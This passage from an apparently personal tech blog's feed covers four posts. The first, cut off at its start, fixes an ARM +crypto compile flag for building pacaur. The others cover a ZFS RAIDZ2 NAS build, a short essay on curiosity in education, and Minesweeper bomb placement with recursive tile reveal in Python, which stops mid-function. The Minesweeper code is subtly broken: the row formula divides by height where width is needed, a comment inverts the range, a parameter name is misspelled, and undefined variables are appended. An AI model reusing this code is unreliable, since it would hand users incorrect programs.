CXXFLAGS=&quot;-march=armv8-a -O2 -pipe -fstack-protector-strong -fno-plt&quot;
&lt;/pre&gt;
&lt;p&gt;What Mr. redfish is telling us is that we must add +crypto to the end of the -march compiler flag so that our compiler will know how to inline that pesky vaesmcq_u8 function.&lt;/p&gt;
&lt;p&gt;So in the end, your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makepkg.conf&lt;/code&gt;s relevant lines will look like so:&lt;/p&gt;
&lt;pre class=&quot;file&quot;&gt;
CFLAGS=&quot;-march=armv8-a+crypto -O2 -pipe -fstack-protector-strong -fno-plt&quot;
CXXFLAGS=&quot;-march=armv8-a+crypto -O2 -pipe -fstack-protector-strong -fno-plt&quot;
&lt;/pre&gt;
&lt;h2 id=&quot;why&quot;&gt;Why?&lt;/h2&gt;
&lt;p&gt;Redfish continues:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Build of abseil-cpp package works because it uses CMake which adds the correct -march flag regardless of makepkg.conf, whereas when abseil-cpp is build as a subproject within this package, it uses meson, which does not add the flag and thus fails with the above error.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In other words, one of the dependencies pulled in with auracle is not compiling without this special compiler flag enabled.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Thanks to redfish for posting this solution to the forums!
Wouldve been quite the rabbit hole for me to figure out how to do that.
In fact, it is very likely I would have never figured that one out.&lt;/p&gt;
&lt;p&gt;After this issue is resolved, the installation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pacaur&lt;/code&gt; goes as expected. Nice and easy!
Pacuar will compile on any architecture so its smooth sailing from here.&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content><author><name></name></author><summary type="html">I recently installed Manjaro ARM (based on Arch Linux ARM) on a Raspberry Pi 4. I used some standard commands to start to add the pacaur package so I can easily retrieve AUR packages without needing to do it manually. Unfortunately, there is a small problem with compiling this on ARM.</summary></entry><entry><title type="html">ZFS NAS Box, Part 2</title><link href="http://localhost:4000/2020/11/15/nas2/" rel="alternate" type="text/html" title="ZFS NAS Box, Part 2" /><published>2020-11-15T00:00:00-07:00</published><updated>2020-11-15T00:00:00-07:00</updated><id>http://localhost:4000/2020/11/15/nas2</id><content type="html" xml:base="http://localhost:4000/2020/11/15/nas2/">&lt;p&gt;Back in &lt;a href=&quot;/2020/04/12/nas1/&quot;&gt;part one of my NAS project&lt;/a&gt; I discussed how I wanted to set up my hardware.
Today, I set up the NAS (almost).&lt;/p&gt;
&lt;p&gt;There were some hiccup along the way, like learning that M.2 slots can disable some of your SATA ports or waiting a month for a host bus adapter to come in from China.&lt;/p&gt;
&lt;h2 id=&quot;why-did-it-take-so-long&quot;&gt;Why Did It Take So Long&lt;/h2&gt;
&lt;p&gt;So it turns out I was going to spend a lot more on this project than I originally anticipated.
I ended up getting a server machine instead of a sleek NAS box.
Here are some of the quick specs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Standard ATX case by Thermaltake.&lt;/li&gt;
&lt;li&gt;LSI 9211-8i.&lt;/li&gt;
&lt;li&gt;The cheapest HDMI graphics card I could find on Kijiji.&lt;/li&gt;
&lt;li&gt;6x 3TB Segate HDDs.&lt;/li&gt;
&lt;li&gt;1x 250G Kingston SSD.&lt;/li&gt;
&lt;li&gt;AMD Ryzen 5 3600.&lt;/li&gt;
&lt;li&gt;MSI B450 Gaming Plus Max.&lt;/li&gt;
&lt;li&gt;2x 8GB FlareX 3200Mhz RAM.&lt;/li&gt;
&lt;li&gt;1x 16GB Kingston 3200Mhz RAM.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;zfs&quot;&gt;ZFS&lt;/h2&gt;
&lt;p&gt;This is how I decided to configure my storage pools.
In hindsight, this was not the best choice for upgrading.
I may change it in the future to a 0+1 setup, but it works for now.&lt;/p&gt;
&lt;p&gt;I have 5x 3TB in a RAIDZ2 with one drive not attached for redundancys sake.
How does one setup a ZFS pool. Check this out:&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
# zpool create poolname raidz2 \
/dev/by-id/blahblahblah1 \
/dev/by-id/blahblahblah2 \
/dev/by-id/blahblahblah3 \
/dev/by-id/blahblahblah4 \
/dev/by-id/blahblahblah5
&lt;/pre&gt;
&lt;p&gt;And zippidy-doo! Weve got a ZFS pool!
We can check its status with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zpool status&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
$ zfs status
pool: raid
state: ONLINE
scan: scrub in progress since Wed Nov 18 18:41:41 2020
1.84T scanned at 8.51G/s, 121G issued at 562M/s, 1.84T total
0B repaired, 6.45% done, 0 days 00:53:25 to go
config:
NAME STATE READ WRITE CKSUM
raid ONLINE 0 0 0
raidz2-0 ONLINE 0 0 0
ata-HGST_HUS724030ALA640_PN2234P8JTNMYY ONLINE 0 0 0
ata-HGST_HUS724030ALA640_PN2234P8JVSXTY ONLINE 0 0 0
ata-HGST_HUS724030ALA640_PN2234P8JXAS8Y ONLINE 0 0 0
ata-HGST_HUS724030ALA640_PN2234P8JXBARY ONLINE 0 0 0
ata-HGST_HUS724030ALA640_PN2234P8JXP77Y ONLINE 0 0 0
errors: No known data errors
&lt;/pre&gt;
&lt;p&gt;I had run a scrub right before this, so theres some extra detail in that.
This is really fun! I will be doing more home storage projects soon.
Perhaps Raspberry Pi NAS using all 4 USB ports to load SATA drives on it.
Now that would be fun!&lt;/p&gt;
&lt;h2 id=&quot;so-i-kinda-have-a-nas-now&quot;&gt;So I Kinda Have A NAS Now…?&lt;/h2&gt;
&lt;p&gt;So right now I can only copy files with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rsync&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scp&lt;/code&gt; and moving data via a physical drive.
The one major disadvantage this has is speed.&lt;/p&gt;
&lt;p&gt;Due to this machine being connected directly outside my network and pulling DHCP like a normal router would, I need to send my data through the WAN connection to get my files to it.
This is rather unfortunate as my upload speed is capped at 20 megabits per second, despite my upload being in the 300+ range.&lt;/p&gt;
&lt;p&gt;Part 3 will involve a LAN card so I can connect both to the DHCP server of my ISP and my local router.
This way my transfer speeds should be in the range of 1 gigabit per second.
This will make my life much easier, at least on the local network.&lt;/p&gt;
&lt;h2 id=&quot;fun-fact&quot;&gt;Fun Fact!&lt;/h2&gt;
&lt;p&gt;Do not try to use the M.2 slot on a consumer motherboard where you are also using all the SATA ports.
On my consumer gaming motherboard, the SATA ports next to the M.2 slot became &lt;em&gt;disabled&lt;/em&gt; when I attached the M.2 SSD.
I found this out form my motherboard documentation, which I read only after a week of thinking my motherboard itself was defective, and sending it in for repairs that did absolutely nothing.&lt;/p&gt;
&lt;h2 id=&quot;thoughts&quot;&gt;Thoughts&lt;/h2&gt;
&lt;p&gt;I like having all this space. I plan on using it up pretty fast, so Im already looking at how to expand.
Hopefully that gives a decent overview of how I set up my drives.&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content><author><name></name></author><summary type="html">Back in part one of my NAS project I discussed how I wanted to set up my hardware. Today, I set up the NAS (almost).</summary></entry><entry><title type="html">Curiosity</title><link href="http://localhost:4000/2020/10/26/curiosity/" rel="alternate" type="text/html" title="Curiosity" /><published>2020-10-26T00:00:00-06:00</published><updated>2020-10-26T00:00:00-06:00</updated><id>http://localhost:4000/2020/10/26/curiosity</id><content type="html" xml:base="http://localhost:4000/2020/10/26/curiosity/">&lt;p&gt;Curiosity is fundamental to a deep understanding of any subject.
Masters, Ph.Ds, and other fancy name suffixes will never help you
if you dont have the spirit of curiosity burning inside of you.&lt;/p&gt;
&lt;p&gt;I was speaking to someone from a journalism major at my school when the subject of hacking arose.
I expected her to know nothing about it, being a journalism student and all, but surprisingly she had something to say about it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The best hackers are the ones who are curious.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That struck a cord with me.
It seems to me she has nailed down the difference between the students who care about grades,
and those who want to learn.
These are not necessarily mutually exclusive, but in my experience they often are due to the way education is structured.&lt;/p&gt;
&lt;h2 id=&quot;my-anecdote&quot;&gt;My Anecdote&lt;/h2&gt;
&lt;p&gt;In my second semester at SAIT Polytechnic, I took a class entitled &lt;em&gt;Emerging Trends In Technology&lt;/em&gt;.
This class was probably the best class I have ever taken.
We had to combine two things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hard skills&lt;/strong&gt;: learning a new hard skill like Angular, Django, or GPG encryption.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Soft skills&lt;/strong&gt;: public speaking and presentation of our ideas.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Soft skills are not usually my area, but I can do public speaking.
I grew up quite religious, so public speaking was drilled into me young.
I liked to go off script and talk about interesting things I found along the way to the actual point.
My creativity was not usually encouraged.
That said, going off script is useful when teaching and presenting ideas;
it gives a natural air to your breath and an unquestionable confidence in your speech.&lt;/p&gt;
&lt;p&gt;This is how we learn: in relationships.
Try explaining ancient Japanese history to a computer science major, or UNIX sockets to an English major and youll see what I mean.
If there is nothing for us to connect the knowledge to, it dissipates.&lt;/p&gt;
&lt;p&gt;So why did I do so well in this class?&lt;/p&gt;
&lt;p&gt;Our task for the semester was as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Learn a new subject (any &lt;em&gt;emerging trend in technology&lt;/em&gt;) which you find fascinating.&lt;/li&gt;
&lt;li&gt;Give a one minute introduction by week three.&lt;/li&gt;
&lt;li&gt;Give a 10 minute non-technical overview by week 8.&lt;/li&gt;
&lt;li&gt;Give a 20 minute technical explaination and demo by week 13.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is the only course I have ever taken which lets students imagination run wild.
Their presentation, their rules.
They treated the students like adults who know what they are doing.
What happened? Everyone stopped coming because “Oh no! Presentations!”?&lt;/p&gt;
&lt;p&gt;No, exactly the opposite.
There was never more than one student missing.
Every single presentation was at least moderately interesting,
and most students were excited to come to that class.
You could see it in their faces, the way they carried themselves.
Every student picked something unique to their tastes, leaving every student more educated than before.&lt;/p&gt;
&lt;p&gt;This class, unlike many others, encouraged the curiosity of the students.
It rewarded those who had unique interests and an ability to sell others on their ideas.&lt;/p&gt;
&lt;p&gt;The curiosity and the grades were one.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Although its nice to have a course where these goals align here and there, anyone who has been to collage or university can tell you that is far from the norm.&lt;/p&gt;
&lt;p&gt;On the other hand, I never would have started this site if it wasnt for that class alone.
So I thank you, Kitty Wong, for getting me started running my own “research blog” (?)&lt;/p&gt;</content><author><name></name></author><summary type="html">Curiosity is fundamental to a deep understanding of any subject. Masters, Ph.Ds, and other fancy name suffixes will never help you if you dont have the spirit of curiosity burning inside of you.</summary></entry><entry><title type="html">Minesweeper Bomb Generation And Tile Revealing</title><link href="http://localhost:4000/2020/09/12/minesweeper/" rel="alternate" type="text/html" title="Minesweeper Bomb Generation And Tile Revealing" /><published>2020-09-12T00:00:00-06:00</published><updated>2020-09-12T00:00:00-06:00</updated><id>http://localhost:4000/2020/09/12/minesweeper</id><content type="html" xml:base="http://localhost:4000/2020/09/12/minesweeper/">&lt;p&gt;When I was creating a little Minesweeper game, I got confused at some points.
My bomb generation didnt look quite right, and I for sure didnt quite get the whole cascading tile reveal thing.
With a bit of internet research, I found what I was looking for.
Ill explain it all in one place for my own research purposes.&lt;/p&gt;
&lt;h2 id=&quot;bomb-generation&quot;&gt;Bomb Generation&lt;/h2&gt;
&lt;p&gt;When I started this project I attempted to use a random bomb generator.
By this I mean on each square, before it gets generated, give it a one in 15 change of being a bomb.
Personally, Im not sure why this never looked right.
Something about the layout of the bombs did not mimic the classic Minesweeper game.&lt;/p&gt;
&lt;p&gt;After looking at some open source Minesweeper examples, I started to get the idea.
I wrote some mathematical statements describing the generation of bombs and how to get their x,y position from an appropriate number.
For those non-mathy people, dont leave just yet;
there will be code equivalents to the math.&lt;/p&gt;
&lt;p&gt;W and H are the width and height of the board respectively.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mn mathvariant=&quot;italic&quot;&gt;0&lt;/mn&gt;&lt;mo&gt;&lt;/mo&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mo&gt;&lt;/mo&gt;&lt;mtext&gt;W&lt;/mtext&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mtext&gt;H&lt;/mtext&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
\it 0 \leq r \leq \text W \times \text H
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8193em;vertical-align:-0.13597em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathit&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathit&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;W&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;×&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;H&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mtext&gt;&lt;/mtext&gt;&lt;mo lspace=&quot;0.22em&quot; rspace=&quot;0.22em&quot;&gt;&lt;mrow&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;m&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;o&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;d&lt;/mi&gt;&lt;/mrow&gt;&lt;/mo&gt;&lt;mtext&gt;&lt;/mtext&gt;&lt;mtext&gt;W&lt;/mtext&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
\it x = r \bmod \text W
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.69444em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathit&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathit&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.05555555555555555em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;d&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.05555555555555555em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;W&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mrow&gt;&lt;mo fence=&quot;true&quot;&gt;&lt;/mo&gt;&lt;mfrac&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mtext&gt;H&lt;/mtext&gt;&lt;/mfrac&gt;&lt;mo fence=&quot;true&quot;&gt;&lt;/mo&gt;&lt;/mrow&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
\it y = \left\lfloor\frac{r}{\text H}\right\rfloor
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1.8359999999999999em;vertical-align:-0.686em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathit&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;minner&quot;&gt;&lt;span class=&quot;mopen delimcenter&quot; style=&quot;top:0em;&quot;&gt;&lt;span class=&quot;delimsizing size2&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.10756em;&quot;&gt;&lt;span style=&quot;top:-2.314em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;H&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.677em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathit&quot;&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.686em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose delimcenter&quot; style=&quot;top:0em;&quot;&gt;&lt;span class=&quot;delimsizing size2&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The code equivalent to this in Python is below:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# r &amp;lt;= 0 &amp;lt;= W*H
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;W&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;H&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# x = r mod W
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;W&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# y = floor(r/H); note the special syntax python has for this operation
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;H&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So thats that, we can put this in a big ol for loop and generate an arbitrary &lt;em&gt;n&lt;/em&gt; number of bombs given a width and height of a Minesweeper board.&lt;/p&gt;
&lt;h2 id=&quot;cascading-tile-revealing&quot;&gt;Cascading Tile Revealing&lt;/h2&gt;
&lt;p&gt;This one is hard to describe;
I am adapting this from &lt;a href=&quot;https://leetcode.com/problems/minesweeper/&quot;&gt;leetcode.com&lt;/a&gt;.
Whenever a player clicks a tile, the following logic should be used:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If a mine is revealed, the game is over. (obviously)&lt;/li&gt;
&lt;li&gt;If a tile with &lt;em&gt;no&lt;/em&gt; adjacent mines is revealed, recursively reveal all eight adjacent tiles.&lt;/li&gt;
&lt;li&gt;If a tile with one or more adjacent mines is revealed, display the number of mines next to it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here is the code in Python for this algorithm.&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reveal_square&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;board&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alread_revealed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# if already checked
&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;already_revealed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# if it's a bomb
&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;board&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'B'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;you_lose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# if the bomb number is more than 0
&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;already_revealed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ny&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# from -1 to 1
&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xd&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;yd&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# skip if it is this the center tile
